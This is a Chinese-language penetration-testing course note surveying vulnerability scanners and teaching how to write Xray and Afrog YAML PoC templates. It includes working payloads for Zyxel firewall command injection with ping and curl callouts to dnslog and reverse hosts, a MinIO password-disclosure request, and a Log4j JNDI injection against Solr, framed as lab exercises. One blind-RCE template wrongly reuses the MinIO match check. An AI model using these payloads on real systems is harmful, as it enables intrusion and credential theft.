

Day103 漏洞发现-漏扫项目篇&Poc开发&Rule语法&反链判断&不回显检测&Yaml生成



1.知识点

- 1、综合类-Burp&Xray&Awvs&Goby
- 2、特征类-Afrog&Yakit&Nuclei
- 3、联动类-主动扫描&被动扫描&中转扫描

-
- 1、Nuclei-Poc开发-环境配置&编写流程

- 2、Nuclei-Poc开发-Yaml语法&匹配提取
- 3、Nuclei-Poc开发-BurpSuite一键生成插件

-
- 1、Xray&Afrog-Poc开发-环境配置&编写流程
 - 2、Xray-Poc开发-数据回显&RCE不回显&实验室
 - 3、Afrog-Poc开发-数据回显&RCE不回显&JDNI注入

2.详细点



- 1 市面上有很多漏扫系统工具脚本，课程讲到的基本都是目前主流推荐的优秀项目！
- 2 Burpsuite, Awvs, Xray, Goby, Afrog, Yakit, Nuclei, Vulmap, Pocassist, Nessus, Pentestkit, Kunyu, Pocsuite3, 浏览器各类插件, Burpsuite插件 (HaE,ShiroScan, FastJsonScan, Log4j2Scan, Springscan, JScan等)。
- 3
- 4 BurpSuite是用于攻击web 应用程序的集成平台，包含了许多工具。BurpSuite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
- 5
- 6 Acunetix一款商业的web漏洞扫描程序，它可以检查web应用程序中的漏洞，如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面，并且能够创建专业级的web站点安全审核报告。新版本集成了漏洞管理功能来扩展企业全面管理、优先级和控制漏洞威胁的能力。
- 7
- 8 Xray是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器，支持主动、被动多种扫描方式，自备盲打平台、可以灵活定义 POC，功能丰富，调用简单，支持windows /macOS /Linux 多种操作系统，可以满足广大安全从业者的自动化 web 漏洞探测需求。
- 9
- 10 Goby是一款新的网络安全测试工具，由赵武Zwell（Pangolin、JSky、FOFA作者）打造，它能够针对一个目标企业梳理最全的攻击面信息，同时能进行高效、实战化漏洞扫描，并快速的从一个验证入口点，切换到横向。能通过智能自动化方式，帮助安全入门者熟悉靶场攻防，帮助攻防服务者、渗透人员更快的拿下目标。
- 11
- 12 Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发，具有很强的可配置性、可扩展性和易用性。 提供TCP、DNS、HTTP、FILE 等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。
- 13
- 14 Afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描（挖洞）工具，PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型，帮助网络安全从业者快速验证并及时修复漏洞。
- 15
- 16 Yakit是一款集成化单兵安全能力平台,通过函数提供各类底层安全能力，包括端口扫描、指纹识别、poc框架、shell管理、MITM劫持、强大的插件系统等。旨在打造一个覆盖渗透测试全流程的网络安全工具库。

3.演示案例

3.1 Xray-Poc开发-数据回显&RCE不回显&实验室

```
1  1、开发参考：
2  https://poc.xray.cool/
3  https://docs.xray.cool/#/guide/README
4  https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALiW
5  https://cloud.tencent.com/developer/article/1949351
6
7  2、分析技巧：
8  配置config.yaml，使用代理看数据包分析（记得生成证书及安装）
9
10 3、调试Poc：
11 .\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx
12
13 第一部分：# 名称部分
14 name: string
15 poc名称如：poc-yaml-tongda-oa-rce
16
17
18 第二部分：rules: []Rule # 脚本部分
19 poc规则：poc请求路径，请求内容，回显信息都由此匹配
20
21 method: string 请求方法
22 path: string 请求的完整Path，包括querystring等
23 headers: map[string]string 请求HTTP头，Rule中指定的值会被覆盖到原始数据包的HTTP头中
24 body: string 请求的Body
25 follow_redirects: bool 是否允许跟随300跳转
26 expression: string
27 search: string
28
29 method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
30 expression的作用是判断该条Rule的结果
31 search的作用是从返回包中提取信息
32
33
34 第三部分：# 信息部分
35 detail: map[string]string
36 就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
37
38
39 1、有回显匹配结果自动判断
40 # 名称部分
41 name: poc-yaml-CVE-2023-28432
42 # 脚本部分
43 transport: http
```

```

44 rules:
45     r1:
46         request:
47             method: POST
48             path: "/minio/bootstrap/v1/verify"
49             headers:
50                 Content-Type: application/x-www-form-urlencoded
51             expression: |
52                 response.status==200 &&
53                 response.body_string.contains("MINIO_ROOT_PASSWORD")
54             expression:
55                 r1()
56 # 信息部分
57 detail:
58     author: xiaodisec
59     links:
60         - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-
61           28432/README.zh-cn.md
62 2、无回显直接写死，观察平台回显判断
63 name: poc-yaml-CVE-2022-30525
64 manual: true
65 transport: http
66 rules:
67     r0:
68         request:
69             method: POST
70             path: /ztp/cgi-bin/handler
71             body:
72                 '{"command":"setwanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5",
73                 "mtu":"","ping -c 3 nm10kn.dnslog.cn;","data":"hi"}'
74             headers:
75                 Content-Type: application/json
76             expression: response.status==200
77         expression: r0()
78     detail:
79         author: xiaodisec
80         links:
81             - https://blog.csdn.net/weixin_43080961/article/details/124776553
82 3、反连写法及启动配置(解决无回显RCE及其他)
83 服务端：见服务端config.yaml
84 客户端：
85 有域名配置：见本地config.yaml
86 没域名配置：修改hosts指向，见config.yaml
87 name: poc-yaml-CVE-2022-30525
88 manual: true

```

```

88  set:
89      reverse: newReverse()
90      reverseURL: reverse.url
91      reverseDomain: reverse.domain
92  transport: http
93  rules:
94      r0:
95          request:
96              cache: true
97              method: POST
98              path: /ztp/cgi-bin/handler
99              body:
100                  '{"command":"setwanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5",
101                  "mtu":"","curl {{reverseURL}}";","data":"hi"}'
102              headers:
103                  Content-Type: application/json
104              expression: reverse.wait(5)
105  expression: r0()
106  detail:
107      author: xiaodisec
108      links:
109          - http://www.xiaodi8.com

```

3.2 Afrog-Poc开发-数据回显&RCE不回显&JDNI注入



```

1  1、开发参考: https://github.com/zan8in/afrog/wiki
2
3  2、分析技巧:
4  执行加入参数proxy, 使用代理看数据包分析
5
6  3、指定Poc:
7  afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml
8
9  第一部分: id info 编号 信息 (类似nuclei)
10 第二部分: set rules 变量 脚本 (类似xray)
11 第三部分: expression 判断 执行 (类似xray)
12
13 1、HTTP/S数据回显Poc开发
14 环境: MinIO集群模式信息泄露漏洞 (CVE-2023-28432)
15 https://vulhub.org/#/environments/minio/CVE-2023-28432/
16 测试: afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml
17
18 id: CVE-2023-28432
19
20 info:
21     name: My PoC demo1
22     author: xiaodisec

```

```
23     severity: critical
24
25 rules:
26   r0:
27     request:
28       method: POST
29       path: /minio/bootstrap/v1/verify
30       headers:
31         Content-Type: application/x-www-form-urlencoded
32       expression: response.status == 200 &&
33         response.body.bcontains(b'MINIO_ROOT_PASSWORD')
34     expression: r0()
35
36 2、HTTP/S不回显RCE-Poc开发
37 环境: 某案例 Zyxe1 防火墙远程命令注入漏洞
38 配置: -配置afrog-config.yaml ceye对应信息
39 测试: afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxe1.yaml
40
41 id: CVE-2022-30525
42
43 info:
44   name: My PoC demo2
45   author: xiaodisec
46   severity: critical
47
48 rules:
49   r0:
50     request:
51       method: POST
52       path: /ztp/cgi-bin/handler
53       body:
54         '{"command":"setwanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5",
55         "mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'
56       headers:
57         Content-Type: application/json
58       expression: response.status == 200 &&
59         response.body.bcontains(b'MINIO_ROOT_PASSWORD')
60     expression: r0()
61
62 id: CVE-2022-30525
63
64 info:
65   name: My PoC demo3
66   author: xiaodisec
67   severity: critical
68
69 set:
```

```
67     reverse: newReverse()
68     reverseURL: reverse.url
69     reverseDomain: reverse.domain
70
71 rules:
72     r0:
73         request:
74             method: POST
75             path: /ztp/cgi-bin/handler
76             body:
77                 '{"command":"setwanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5",
78                 "mtu":"","ping -c 3 {{reverseURL}}";","data":"hi"}'
79             headers:
80                 Content-Type: application/json
81                 expression: reverse.wait(100)
82 expression: r0()
83
84 3、HTTP/S不回显JNDI-Poc开发
85 环境: Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
86 https://vulhub.org/#/environments/log4j/CVE-2021-44228/
87
88 配置:
89 -启动jndi-payload利用:
90 java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
91 -afrog-config.yaml JNDI对应信息
92
93 测试: afrog -t http://192.168.139.128:8983 -P log4j.yaml
94
95 id: solr-log4j-rce
96
97 info:
98     name: Apache Solr Log4j Remote Code Execution
99     author: xiaodisec
100    severity: critical
101    verified: true
102    created: 2023/10/16
103
104 set:
105     reverse: newJNDI()
106     jndiURL: reverse.url.host + reverse.url.path
107 rules:
108     r0:
109         request:
110             method: GET
111             path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}{{wt=json
112             expression: reverse.jndi(5)
113 expression: r0()
```

—